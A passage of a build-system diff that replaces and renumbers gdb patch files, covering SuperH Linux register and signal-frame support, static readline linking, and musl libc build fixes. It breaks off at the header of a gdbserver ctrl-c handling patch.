-+/* From <sys/reg.h>. */
-+static int sh_linux_gregset_reg_offset[] =
-+{
-+ 0, 4, 8, 12, 16, 20, 24, 28,
-+ 32, 36, 40, 44, 48, 52, 56, 60,
-+
-+ REG_PC*4, REG_PR*4, REG_GBR*4, -1,
-+ REG_MACH*4, REG_MACL*4, REG_SR*4,
-+};
-+
-+/* Mapping between the general-purpose registers in `struct
-+ sigcontext' format and GDB's register cache layout. */
-+
-+/* From <asm/sigcontext.h>. */
-+static int sh_linux_sc_reg_offset[] =
-+{
-+ 4, 8, 12, 16, 20, 24, 28, 32,
-+ 36, 40, 44, 48, 52, 56, 60, 64,
-+ 68, 72, 80, -1,
-+ 84, 88, 76
-+};
-+
- static void
- sh_linux_init_abi (struct gdbarch_info info, struct gdbarch *gdbarch)
- {
-+ struct gdbarch_tdep *tdep = gdbarch_tdep (gdbarch);
-+ bfd abfd;
-+
-+ tdep->gregset_reg_offset = sh_linux_gregset_reg_offset;
-+ tdep->gregset_num_regs = ARRAY_SIZE (sh_linux_gregset_reg_offset);
-+ tdep->sizeof_gregset = 23 * 4;
-+
-+ tdep->jb_pc_offset = 32; /* From <bits/setjmp.h>. */
-+
-+ tdep->sigtramp_p = sh_linux_sigtramp_p;
-+ tdep->sigcontext_addr = sh_linux_sigcontext_addr;
-+ tdep->sc_reg_offset = sh_linux_sc_reg_offset;
-+ tdep->sc_num_regs = ARRAY_SIZE (sh_linux_sc_reg_offset);
-+
-+ frame_unwind_append_unwinder(gdbarch, &sh_linux_sigtramp_frame_unwind);
-+
-+ /* If we have a register mapping, enable the generic core file
-+ support, unless it has already been enabled. */
-+ if (tdep->gregset_reg_offset
-+ && !gdbarch_regset_from_core_section_p (gdbarch))
-+ set_gdbarch_regset_from_core_section (gdbarch,
-+ sh_linux_regset_from_core_section);
-+
- linux_init_abi (info, gdbarch);
-
- /* GNU/Linux uses SVR4-style shared libraries. */
-diff --git a/gdb/sh-tdep.c b/gdb/sh-tdep.c
-index fe64cf979a..4417114cd0 100644
---- a/gdb/sh-tdep.c
-+++ b/gdb/sh-tdep.c
-@@ -21,6 +21,9 @@
- sac@cygnus.com. */
-
- #include "defs.h"
-+#include "arch-utils.h"
-+#include "command.h"
-+#include "dummy-frame.h"
- #include "frame.h"
- #include "frame-base.h"
- #include "frame-unwind.h"
-@@ -66,23 +69,6 @@ static const char *const sh_cc_enum[] = {
-
- static const char *sh_active_calling_convention = sh_cc_gcc;
-
--#define SH_NUM_REGS 67
--
--struct sh_frame_cache
--{
-- /* Base address. */
-- CORE_ADDR base;
-- LONGEST sp_offset;
-- CORE_ADDR pc;
--
-- /* Flag showing that a frame has been created in the prologue code. */
-- int uses_fp;
--
-- /* Saved registers. */
-- CORE_ADDR saved_regs[SH_NUM_REGS];
-- CORE_ADDR saved_sp;
--};
--
- static int
- sh_is_renesas_calling_convention (struct type *func_type)
- {
-@@ -1050,7 +1036,7 @@ sh_treat_as_flt_p (struct type *type)
- return 0;
- /* Otherwise if the type of that member is float, the whole type is
- treated as float. */
-- if (TYPE_CODE (TYPE_FIELD_TYPE (type, 0)) == TYPE_CODE_FLT)
-+ if (TYPE_CODE (check_typedef (TYPE_FIELD_TYPE (type, 0))) == TYPE_CODE_FLT)
- return 1;
- /* Otherwise it's not treated as float. */
- return 0;
-@@ -1100,7 +1086,7 @@ sh_push_dummy_call_fpu (struct gdbarch *gdbarch,
- in four registers available. Loop thru args from first to last. */
- for (argnum = 0; argnum < nargs; argnum++)
- {
-- type = value_type (args[argnum]);
-+ type = check_typedef (value_type (args[argnum]));
- len = TYPE_LENGTH (type);
- val = sh_justify_value_in_reg (gdbarch, args[argnum], len);
-
-@@ -1834,7 +1820,7 @@ sh_dwarf2_frame_init_reg (struct gdbarch *gdbarch, int regnum,
- reg->how = DWARF2_FRAME_REG_UNDEFINED;
- }
-
--static struct sh_frame_cache *
-+struct sh_frame_cache *
- sh_alloc_frame_cache (void)
- {
- struct sh_frame_cache *cache;
-@@ -1861,7 +1847,7 @@ sh_alloc_frame_cache (void)
- return cache;
- }
-
--static struct sh_frame_cache *
-+struct sh_frame_cache *
- sh_frame_cache (struct frame_info *this_frame, void **this_cache)
- {
- struct gdbarch *gdbarch = get_frame_arch (this_frame);
-@@ -1928,9 +1914,9 @@ sh_frame_cache (struct frame_info *this_frame, void **this_cache)
- return cache;
- }
-
--static struct value *
--sh_frame_prev_register (struct frame_info *this_frame,
-- void **this_cache, int regnum)
-+struct value *
-+sh_frame_prev_register (struct frame_info *this_frame, void **this_cache,
-+ int regnum)
- {
- struct gdbarch *gdbarch = get_frame_arch (this_frame);
- struct sh_frame_cache *cache = sh_frame_cache (this_frame, this_cache);
-@@ -1944,7 +1930,7 @@ sh_frame_prev_register (struct frame_info *this_frame,
- the current frame. Frob regnum so that we pull the value from
- the correct place. */
- if (regnum == gdbarch_pc_regnum (gdbarch))
-- regnum = PR_REGNUM;
-+ regnum = PR_REGNUM; /* XXX: really? */
-
- if (regnum < SH_NUM_REGS && cache->saved_regs[regnum] != -1)
- return frame_unwind_got_memory (this_frame, regnum,
-@@ -2255,8 +2241,8 @@ sh_return_in_first_hidden_param_p (struct gdbarch *gdbarch,
- static struct gdbarch *
- sh_gdbarch_init (struct gdbarch_info info, struct gdbarch_list *arches)
- {
-- struct gdbarch *gdbarch;
- struct gdbarch_tdep *tdep;
-+ struct gdbarch *gdbarch;
-
- /* If there is already a candidate, use it. */
- arches = gdbarch_list_lookup_by_info (arches, &info);
-@@ -2268,6 +2254,18 @@ sh_gdbarch_init (struct gdbarch_info info, struct gdbarch_list *arches)
- tdep = XCNEW (struct gdbarch_tdep);
- gdbarch = gdbarch_alloc (&info, tdep);
-
-+ /* General-purpose registers. */
-+ tdep->gregset = NULL;
-+ tdep->gregset_reg_offset = NULL;
-+ tdep->gregset_num_regs = 23;
-+ tdep->sizeof_gregset = 0;
-+
-+ /* Floating-point registers. */
-+ tdep->fpregset = NULL;
-+ tdep->sizeof_fpregset = 34*4;
-+
-+ tdep->jb_pc_offset = -1;
-+
- set_gdbarch_short_bit (gdbarch, 2 * TARGET_CHAR_BIT);
- set_gdbarch_int_bit (gdbarch, 4 * TARGET_CHAR_BIT);
- set_gdbarch_long_bit (gdbarch, 4 * TARGET_CHAR_BIT);
-@@ -2422,10 +2420,11 @@ sh_gdbarch_init (struct gdbarch_info info, struct gdbarch_list *arches)
- break;
- }
-
-+ dwarf2_append_unwinders (gdbarch);
-+
- /* Hook in ABI-specific overrides, if they have been registered. */
- gdbarch_init_osabi (info, gdbarch);
-
-- dwarf2_append_unwinders (gdbarch);
- frame_unwind_append_unwinder (gdbarch, &sh_stub_unwind);
- frame_unwind_append_unwinder (gdbarch, &sh_frame_unwind);
-
-diff --git a/gdb/sh-tdep.h b/gdb/sh-tdep.h
-index 59acd35b88..be3f998d84 100644
---- a/gdb/sh-tdep.h
-+++ b/gdb/sh-tdep.h
-@@ -21,6 +21,12 @@
-
- /* Contributed by Steve Chamberlain sac@cygnus.com. */
-
-+struct frame_info;
-+struct gdbarch;
-+struct reggroup;
-+struct regset;
-+struct regcache;
-+
- /* Registers for all SH variants. Used also by sh3-rom.c. */
- enum
- {
-@@ -29,6 +35,7 @@ enum
- ARG0_REGNUM = 4,
- ARGLAST_REGNUM = 7,
- FP_REGNUM = 14,
-+ SP_REGNUM = 15,
- PC_REGNUM = 16,
- PR_REGNUM = 17,
- GBR_REGNUM = 18,
-@@ -81,6 +88,24 @@ enum
- FV0_REGNUM = 76,
- FV_LAST_REGNUM = 79
- };
-+#define SH_NUM_REGS 67
-+
-+struct sh_frame_cache
-+{
-+ /* Base address. */
-+ CORE_ADDR base;
-+ LONGEST sp_offset;
-+ CORE_ADDR pc;
-+
-+ /* Flag showing that a frame has been created in the prologue code. */
-+ int uses_fp;
-+
-+ /* Saved registers. */
-+ CORE_ADDR saved_regs[SH_NUM_REGS];
-+ CORE_ADDR saved_sp;
-+};
-+
-+extern struct sh_frame_cache *sh_frame_cache (struct frame_info *next_frame, void **this_cache);
-
- /* This structure describes a register in a core-file. */
- struct sh_corefile_regmap
-@@ -89,8 +114,32 @@ struct sh_corefile_regmap
- unsigned int offset;
- };
-
-+/* sh architecture specific information. */
- struct gdbarch_tdep
- {
-+ /* General-purpose registers. */
-+ struct regset *gregset;
-+ int *gregset_reg_offset;
-+ int gregset_num_regs;
-+ size_t sizeof_gregset;
-+
-+ /* Floating-point registers. */
-+ struct regset *fpregset;
-+ size_t sizeof_fpregset;
-+
-+ /* Offset of saved PC in jmp_buf. */
-+ int jb_pc_offset;
-+
-+ /* Detect sigtramp. */
-+ int (*sigtramp_p) (struct frame_info *);
-+
-+ /* Get address of sigcontext for sigtramp. */
-+ CORE_ADDR (*sigcontext_addr) (struct frame_info *);
-+
-+ /* Offset of registers in `struct sigcontext'. */
-+ int *sc_reg_offset;
-+ int sc_num_regs;
-+
- /* Non-NULL when debugging from a core file. Provides the offset
- where each general-purpose register is stored inside the associated
- core file section. */
-diff --git a/gdb/testsuite/gdb.asm/asm-source.exp b/gdb/testsuite/gdb.asm/asm-source.exp
-index 9879f0ca47..cbc0e4d5f7 100644
---- a/gdb/testsuite/gdb.asm/asm-source.exp
-+++ b/gdb/testsuite/gdb.asm/asm-source.exp
-@@ -116,6 +116,11 @@ switch -glob -- [istarget] {
- append link-flags " -m elf32ppc"
- }
- }
-+ "sh*-linux*" {
-+ set asm-arch sh-linux
-+ set asm-flags "-I${srcdir}/${subdir} -I${objdir}/${subdir}"
-+ set debug-flags "-gdwarf-2"
-+ }
- "sh*-*-*" {
- set asm-arch sh
- set debug-flags "-gdwarf-2"
-diff --git a/gdb/testsuite/gdb.asm/sh.inc b/gdb/testsuite/gdb.asm/sh.inc
-index a4a5fc545e..89efed7795 100644
---- a/gdb/testsuite/gdb.asm/sh.inc
-+++ b/gdb/testsuite/gdb.asm/sh.inc
-@@ -40,9 +40,8 @@
- mov.l .Lconst\@,r1
- bra .Lafterconst\@
- nop
-- nop
--.Lconst\@:
- .align 2
-+.Lconst\@:
- .long \subr
- .align 1
- .Lafterconst\@:
-diff --git a/gdb/testsuite/gdb.base/annota1.c b/gdb/testsuite/gdb.base/annota1.c
-index 424e1b8327..0de2e7b633 100644
---- a/gdb/testsuite/gdb.base/annota1.c
-+++ b/gdb/testsuite/gdb.base/annota1.c
-@@ -1,6 +1,9 @@
- #include <stdio.h>
- #include <signal.h>
-
-+#ifdef __sh__
-+#define signal(a,b) /* Signals not supported on this target - make them go away */
-+#endif
-
- void
- handle_USR1 (int sig)
-diff --git a/gdb/testsuite/gdb.base/annota3.c b/gdb/testsuite/gdb.base/annota3.c
-index 424e1b8327..952aaf218a 100644
---- a/gdb/testsuite/gdb.base/annota3.c
-+++ b/gdb/testsuite/gdb.base/annota3.c
-@@ -1,6 +1,10 @@
- #include <stdio.h>
- #include <signal.h>
-
-+#ifdef __sh__
-+#define signal(a,b) /* Signals not supported on this target - make them go away */
-+#endif
-+
-
- void
- handle_USR1 (int sig)
-diff --git a/gdb/testsuite/gdb.base/sigall.c b/gdb/testsuite/gdb.base/sigall.c
-index 81f3b08d6b..1574b2d6cb 100644
---- a/gdb/testsuite/gdb.base/sigall.c
-+++ b/gdb/testsuite/gdb.base/sigall.c
-@@ -1,6 +1,9 @@
- #include <signal.h>
- #include <unistd.h>
-
-+#ifdef __sh__
-+#define signal(a,b) /* Signals not supported on this target - make them go away */
-+#endif
-
- /* Signal handlers, we set breakpoints in them to make sure that the
- signals really get delivered. */
-diff --git a/gdb/testsuite/gdb.base/signals.c b/gdb/testsuite/gdb.base/signals.c
-index 756606880f..1205a9bc9c 100644
---- a/gdb/testsuite/gdb.base/signals.c
-+++ b/gdb/testsuite/gdb.base/signals.c
-@@ -3,6 +3,10 @@
- #include <signal.h>
- #include <unistd.h>
-
-+#ifdef __sh__
-+#define signal(a,b) /* Signals not supported on this target - make them go away */
-+#define alarm(a) /* Ditto for alarm() */
-+#endif
-
- static int count = 0;
-
---
-2.18.0
-
diff --git a/meta/recipes-devtools/gdb/gdb/0005-Dont-disable-libreadline.a-when-using-disable-static.patch b/meta/recipes-devtools/gdb/gdb/0005-Dont-disable-libreadline.a-when-using-disable-static.patch
new file mode 100644
index 0000000000..02ea30f9bf
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0005-Dont-disable-libreadline.a-when-using-disable-static.patch
@@ -0,0 +1,50 @@
+From e2efd044c479895767f1b929f5a54fa0c689f318 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 30 Apr 2016 15:25:03 -0700
+Subject: [PATCH 05/10] Dont disable libreadline.a when using --disable-static
+
+If gdb is configured with --disable-static then this is dutifully passed to
+readline which then disables libreadline.a, which causes a problem when gdb
+tries to link against that.
+
+To ensure that readline always builds static libraries, pass --enable-static to
+the sub-configure.
+
+Upstream-Status: Pending
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ Makefile.def | 3 ++-
+ Makefile.in | 2 +-
+ 2 files changed, 3 insertions(+), 2 deletions(-)
+
+diff --git a/Makefile.def b/Makefile.def
+index 5a460f1dbbc..77a702ac6d6 100644
+--- a/Makefile.def
++++ b/Makefile.def
+@@ -105,7 +105,8 @@ host_modules= { module= libiconv;
+ missing= install-html;
+ missing= install-info; };
+ host_modules= { module= m4; };
+-host_modules= { module= readline; };
++host_modules= { module= readline;
++ extra_configure_flags='--enable-static';};
+ host_modules= { module= sid; };
+ host_modules= { module= sim; };
+ host_modules= { module= texinfo; no_install= true; };
+diff --git a/Makefile.in b/Makefile.in
+index 9b3a5d75735..98cbe844fca 100644
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -25607,7 +25607,7 @@ configure-readline:
+ $$s/$$module_srcdir/configure \
+ --srcdir=$${topdir}/$$module_srcdir \
+ $(HOST_CONFIGARGS) --build=${build_alias} --host=${host_alias} \
+- --target=${target_alias} \
++ --target=${target_alias} --enable-static \
+ || exit 1
+ @endif readline
+
+--
+2.33.1
+
diff --git a/meta/recipes-devtools/gdb/gdb/0006-Dont-disable-libreadline.a-when-using-disable-static.patch b/meta/recipes-devtools/gdb/gdb/0006-Dont-disable-libreadline.a-when-using-disable-static.patch
deleted file mode 100644
index 9ae3ee62be..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0006-Dont-disable-libreadline.a-when-using-disable-static.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From 5fdd42acaa965be7c420a3f2ba12b77ea503c59b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 30 Apr 2016 15:25:03 -0700
-Subject: [PATCH 06/11] Dont disable libreadline.a when using --disable-static
-
-If gdb is configured with --disable-static then this is dutifully passed to
-readline which then disables libreadline.a, which causes a problem when gdb
-tries to link against that.
-
-To ensure that readline always builds static libraries, pass --enable-static to
-the sub-configure.
-
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- Makefile.def | 3 ++-
- Makefile.in | 2 +-
- 2 files changed, 3 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile.def b/Makefile.def
-index 75063b6d12..c27bbe4d28 100644
---- a/Makefile.def
-+++ b/Makefile.def
-@@ -105,7 +105,8 @@ host_modules= { module= libiconv;
- missing= install-html;
- missing= install-info; };
- host_modules= { module= m4; };
--host_modules= { module= readline; };
-+host_modules= { module= readline;
-+ extra_configure_flags='--enable-static';};
- host_modules= { module= sid; };
- host_modules= { module= sim; };
- host_modules= { module= texinfo; no_install= true; };
-diff --git a/Makefile.in b/Makefile.in
-index 7814fe745f..3b0dc7cbb0 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -25470,7 +25470,7 @@ configure-readline:
- $$s/$$module_srcdir/configure \
- --srcdir=$${topdir}/$$module_srcdir \
- $(HOST_CONFIGARGS) --build=${build_alias} --host=${host_alias} \
-- --target=${target_alias} \
-+ --target=${target_alias} --enable-static \
- || exit 1
- @endif readline
-
---
-2.18.0
-
diff --git a/meta/recipes-devtools/gdb/gdb/0006-use-asm-sgidefs.h.patch b/meta/recipes-devtools/gdb/gdb/0006-use-asm-sgidefs.h.patch
new file mode 100644
index 0000000000..ef271c45e2
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0006-use-asm-sgidefs.h.patch
@@ -0,0 +1,36 @@
+From 5077518c11e8d75e9bf65cdf9ca21c59564e1037 Mon Sep 17 00:00:00 2001
+From: Andre McCurdy <amccurdy@gmail.com>
+Date: Sat, 30 Apr 2016 15:29:06 -0700
+Subject: [PATCH 06/10] use <asm/sgidefs.h>
+
+Build fix for MIPS with musl libc
+
+The MIPS specific header <sgidefs.h> is provided by glibc and uclibc
+but not by musl. Regardless of the libc, the kernel headers provide
+<asm/sgidefs.h> which provides the same definitions, so use that
+instead.
+
+Upstream-Status: Pending
+
+Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gdb/mips-linux-nat.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/gdb/mips-linux-nat.c b/gdb/mips-linux-nat.c
+index 6614b4de31e..237eb6eb975 100644
+--- a/gdb/mips-linux-nat.c
++++ b/gdb/mips-linux-nat.c
+@@ -31,7 +31,7 @@
+ #include "gdb_proc_service.h"
+ #include "gregset.h"
+
+-#include <sgidefs.h>
++#include <asm/sgidefs.h>
+ #include "nat/gdb_ptrace.h"
+ #include <asm/ptrace.h>
+ #include "inf-ptrace.h"
+--
+2.33.1
+
diff --git a/meta/recipes-devtools/gdb/gdb/0007-Change-order-of-CFLAGS.patch b/meta/recipes-devtools/gdb/gdb/0007-Change-order-of-CFLAGS.patch
new file mode 100644
index 0000000000..40d12579c0
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0007-Change-order-of-CFLAGS.patch
@@ -0,0 +1,30 @@
+From 80080e6c8425ac51498f49c2063b960a08f9a27d Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 30 Apr 2016 15:35:39 -0700
+Subject: [PATCH 07/10] Change order of CFLAGS
+
+Lets us override Werror if need be
+
+Upstream-Status: Inappropriate
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gdbserver/Makefile.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/gdbserver/Makefile.in b/gdbserver/Makefile.in
+index 12e9b2777ae..ad44fbc3309 100644
+--- a/gdbserver/Makefile.in
++++ b/gdbserver/Makefile.in
+@@ -172,7 +172,7 @@ WIN32APILIBS = @WIN32APILIBS@
+ INTERNAL_CFLAGS_BASE = ${GLOBAL_CFLAGS} \
+ ${PROFILE_CFLAGS} ${INCLUDE_CFLAGS} ${CPPFLAGS} $(PTHREAD_CFLAGS)
+ INTERNAL_WARN_CFLAGS = ${INTERNAL_CFLAGS_BASE} $(WARN_CFLAGS)
+-INTERNAL_CFLAGS = ${INTERNAL_WARN_CFLAGS} $(WERROR_CFLAGS) -DGDBSERVER
++INTERNAL_CFLAGS = ${INTERNAL_WARN_CFLAGS} $(WERROR_CFLAGS) ${COMPILER_CFLAGS} -DGDBSERVER
+
+ # LDFLAGS is specifically reserved for setting from the command line
+ # when running make.
+--
+2.33.1
+
diff --git a/meta/recipes-devtools/gdb/gdb/0007-use-asm-sgidefs.h.patch b/meta/recipes-devtools/gdb/gdb/0007-use-asm-sgidefs.h.patch
deleted file mode 100644
index 808f4bfa14..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0007-use-asm-sgidefs.h.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From d6e12d52f9cef7f5e6315003ceaa236f6cc7723b Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <amccurdy@gmail.com>
-Date: Sat, 30 Apr 2016 15:29:06 -0700
-Subject: [PATCH 07/11] use <asm/sgidefs.h>
-
-Build fix for MIPS with musl libc
-
-The MIPS specific header <sgidefs.h> is provided by glibc and uclibc
-but not by musl. Regardless of the libc, the kernel headers provide
-<asm/sgidefs.h> which provides the same definitions, so use that
-instead.
-
-Upstream-Status: Pending
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdb/mips-linux-nat.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gdb/mips-linux-nat.c b/gdb/mips-linux-nat.c
-index 68a7587af2..2b77221372 100644
---- a/gdb/mips-linux-nat.c
-+++ b/gdb/mips-linux-nat.c
-@@ -31,7 +31,7 @@
- #include "gdb_proc_service.h"
- #include "gregset.h"
-
--#include <sgidefs.h>
-+#include <asm/sgidefs.h>
- #include "nat/gdb_ptrace.h"
- #include <asm/ptrace.h>
- #include "inf-ptrace.h"
---
-2.18.0
-
diff --git a/meta/recipes-devtools/gdb/gdb/0008-Use-exorted-definitions-of-SIGRTMIN.patch b/meta/recipes-devtools/gdb/gdb/0008-Use-exorted-definitions-of-SIGRTMIN.patch
deleted file mode 100644
index 95bec5fd60..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0008-Use-exorted-definitions-of-SIGRTMIN.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From bab0b34672727c50313eb98b8522355cbe1bde36 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 30 Apr 2016 15:31:40 -0700
-Subject: [PATCH] Use exorted definitions of SIGRTMIN
-
-Define W_STOPCODE if not defined already
-
-__SIGRTMIN is internal to glibc and other libcs e.g. musl
-may not provide them
-
-Fixes
-https://sourceware.org/bugzilla/show_bug.cgi?id=13012
-
-Upstream-Status: Submitted
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- gdb/linux-nat.c | 4 ++--
- gdb/nat/linux-nat.h | 4 ++++
- 2 files changed, 6 insertions(+), 2 deletions(-)
-
-diff --git a/gdb/linux-nat.c b/gdb/linux-nat.c
-index 063afe26..fb1d2d5d 100644
---- a/gdb/linux-nat.c
-+++ b/gdb/linux-nat.c
-@@ -4713,6 +4713,6 @@ lin_thread_get_thread_signals (sigset_t *set)
- /* NPTL reserves the first two RT signals, but does not provide any
- way for the debugger to query the signal numbers - fortunately
- they don't change. */
-- sigaddset (set, __SIGRTMIN);
-- sigaddset (set, __SIGRTMIN + 1);
-+ sigaddset (set, SIGRTMIN);
-+ sigaddset (set, SIGRTMIN + 1);
- }
-diff --git a/gdb/nat/linux-nat.h b/gdb/nat/linux-nat.h
-index 1e32dd9e..b886305d 100644
---- a/gdb/nat/linux-nat.h
-+++ b/gdb/nat/linux-nat.h
-@@ -90,4 +90,8 @@ extern void linux_stop_lwp (struct lwp_info *lwp);
-
- extern int lwp_is_stepping (struct lwp_info *lwp);
-
-+#ifndef W_STOPCODE
-+#define W_STOPCODE(sig) ((sig) << 8 | 0x7f)
-+#endif
-+
- #endif /* NAT_LINUX_NAT_H */
diff --git a/meta/recipes-devtools/gdb/gdb/0008-resolve-restrict-keyword-conflict.patch b/meta/recipes-devtools/gdb/gdb/0008-resolve-restrict-keyword-conflict.patch
new file mode 100644
index 0000000000..9095f90582
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0008-resolve-restrict-keyword-conflict.patch
@@ -0,0 +1,48 @@
+From 4ee7e8afb9ff259e889ac938c673fda9ddc5e15a Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 10 May 2016 08:47:05 -0700
+Subject: [PATCH 08/10] resolve restrict keyword conflict
+
+GCC detects that we call 'restrict' as param name in function
+signatures and complains since both params are called 'restrict'
+therefore we use __restrict to denote the C99 keywork
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gnulib/import/sys_time.in.h | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/gnulib/import/sys_time.in.h b/gnulib/import/sys_time.in.h
+index 90a67d18426..664641a1fe8 100644
+--- a/gnulib/import/sys_time.in.h
++++ b/gnulib/import/sys_time.in.h
+@@ -93,20 +93,20 @@ struct timeval
+ # define gettimeofday rpl_gettimeofday
+ # endif
+ _GL_FUNCDECL_RPL (gettimeofday, int,
+- (struct timeval *restrict, void *restrict)
++ (struct timeval *__restrict, void *__restrict)
+ _GL_ARG_NONNULL ((1)));
+ _GL_CXXALIAS_RPL (gettimeofday, int,
+- (struct timeval *restrict, void *restrict));
++ (struct timeval *__restrict, void *__restrict));
+ # else
+ # if !@HAVE_GETTIMEOFDAY@
+ _GL_FUNCDECL_SYS (gettimeofday, int,
+- (struct timeval *restrict, void *restrict)
++ (struct timeval *__restrict, void *__restrict)
+ _GL_ARG_NONNULL ((1)));
+ # endif
+ /* Need to cast, because on glibc systems, by default, the second argument is
+ struct timezone *. */
+ _GL_CXXALIAS_SYS_CAST (gettimeofday, int,
+- (struct timeval *restrict, void *restrict));
++ (struct timeval *__restrict, void *__restrict));
+ # endif
+ _GL_CXXALIASWARN (gettimeofday);
+ # if defined __cplusplus && defined GNULIB_NAMESPACE
+--
+2.33.1
+
diff --git a/meta/recipes-devtools/gdb/gdb/0009-Change-order-of-CFLAGS.patch b/meta/recipes-devtools/gdb/gdb/0009-Change-order-of-CFLAGS.patch
deleted file mode 100644
index bc4bc26835..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0009-Change-order-of-CFLAGS.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From ba6ffa461fe781d44d6dcbc0fbd569237b450fdc Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 30 Apr 2016 15:35:39 -0700
-Subject: [PATCH 09/11] Change order of CFLAGS
-
-Lets us override Werror if need be
-
-Upstream-Status: Inappropriate
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdb/gdbserver/Makefile.in | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gdb/gdbserver/Makefile.in b/gdb/gdbserver/Makefile.in
-index f2f8a084bd..9528db1364 100644
---- a/gdb/gdbserver/Makefile.in
-+++ b/gdb/gdbserver/Makefile.in
-@@ -143,7 +143,7 @@ CPPFLAGS = @CPPFLAGS@
- INTERNAL_CFLAGS_BASE = ${CXXFLAGS} ${GLOBAL_CFLAGS} \
- ${PROFILE_CFLAGS} ${INCLUDE_CFLAGS} ${CPPFLAGS}
- INTERNAL_WARN_CFLAGS = ${INTERNAL_CFLAGS_BASE} $(WARN_CFLAGS)
--INTERNAL_CFLAGS = ${INTERNAL_WARN_CFLAGS} $(WERROR_CFLAGS) -DGDBSERVER
-+INTERNAL_CFLAGS = ${INTERNAL_WARN_CFLAGS} $(WERROR_CFLAGS) ${COMPILER_CFLAGS} -DGDBSERVER
-
- # LDFLAGS is specifically reserved for setting from the command line
- # when running make.
---
-2.18.0
-
diff --git a/meta/recipes-devtools/gdb/gdb/0009-Fix-invalid-sigprocmask-call.patch b/meta/recipes-devtools/gdb/gdb/0009-Fix-invalid-sigprocmask-call.patch
new file mode 100644
index 0000000000..5b9d1cfaf9
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0009-Fix-invalid-sigprocmask-call.patch
@@ -0,0 +1,49 @@
+From 5740876d92ddb67b039d5fbcd1b71e6c58823c08 Mon Sep 17 00:00:00 2001
+From: Yousong Zhou <yszhou4tech@gmail.com>
+Date: Fri, 24 Mar 2017 10:36:03 +0800
+Subject: [PATCH 09/10] Fix invalid sigprocmask call
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+The POSIX document says
+
+ The pthread_sigmask() and sigprocmask() functions shall fail if:
+
+ [EINVAL]
+ The value of the how argument is not equal to one of the defined values.
+
+and this is how musl-libc is currently doing. Fix the call to be safe
+and correct
+
+ [1] http://pubs.opengroup.org/onlinepubs/9699919799/functions/pthread_sigmask.html
+
+gdb/ChangeLog:
+2017-03-24 Yousong Zhou <yszhou4tech@gmail.com>
+
+ * common/signals-state-save-restore.c (save_original_signals_state):
+ Fix invalid sigprocmask call.
+
+Upstream-Status: Pending [not author, cherry-picked from LEDE https://bugs.lede-project.org/index.php?do=details&task_id=637&openedfrom=-1%2Bweek]
+Signed-off-by: André Draszik <adraszik@tycoint.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gdbsupport/signals-state-save-restore.cc | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/gdbsupport/signals-state-save-restore.cc b/gdbsupport/signals-state-save-restore.cc
+index 95c156e5036..f4aa512d105 100644
+--- a/gdbsupport/signals-state-save-restore.cc
++++ b/gdbsupport/signals-state-save-restore.cc
+@@ -38,7 +38,7 @@ save_original_signals_state (bool quiet)
+ int i;
+ int res;
+
+- res = gdb_sigmask (0, NULL, &original_signal_mask);
++ res = gdb_sigmask (SIG_BLOCK, NULL, &original_signal_mask);
+ if (res == -1)
+ perror_with_name (("sigprocmask"));
+
+--
+2.33.1
+
diff --git a/meta/recipes-devtools/gdb/gdb/0010-gdbserver-ctrl-c-handling.patch b/meta/recipes-devtools/gdb/gdb/0010-gdbserver-ctrl-c-handling.patch
new file mode 100644
index 0000000000..cb4744e5dd
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0010-gdbserver-ctrl-c-handling.patch
@@ -0,0 +1,40 @@
+From d611a68f05c0c86af27bf6beae189a90a946e2e3 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 29 Nov 2018 18:00:23 -0800
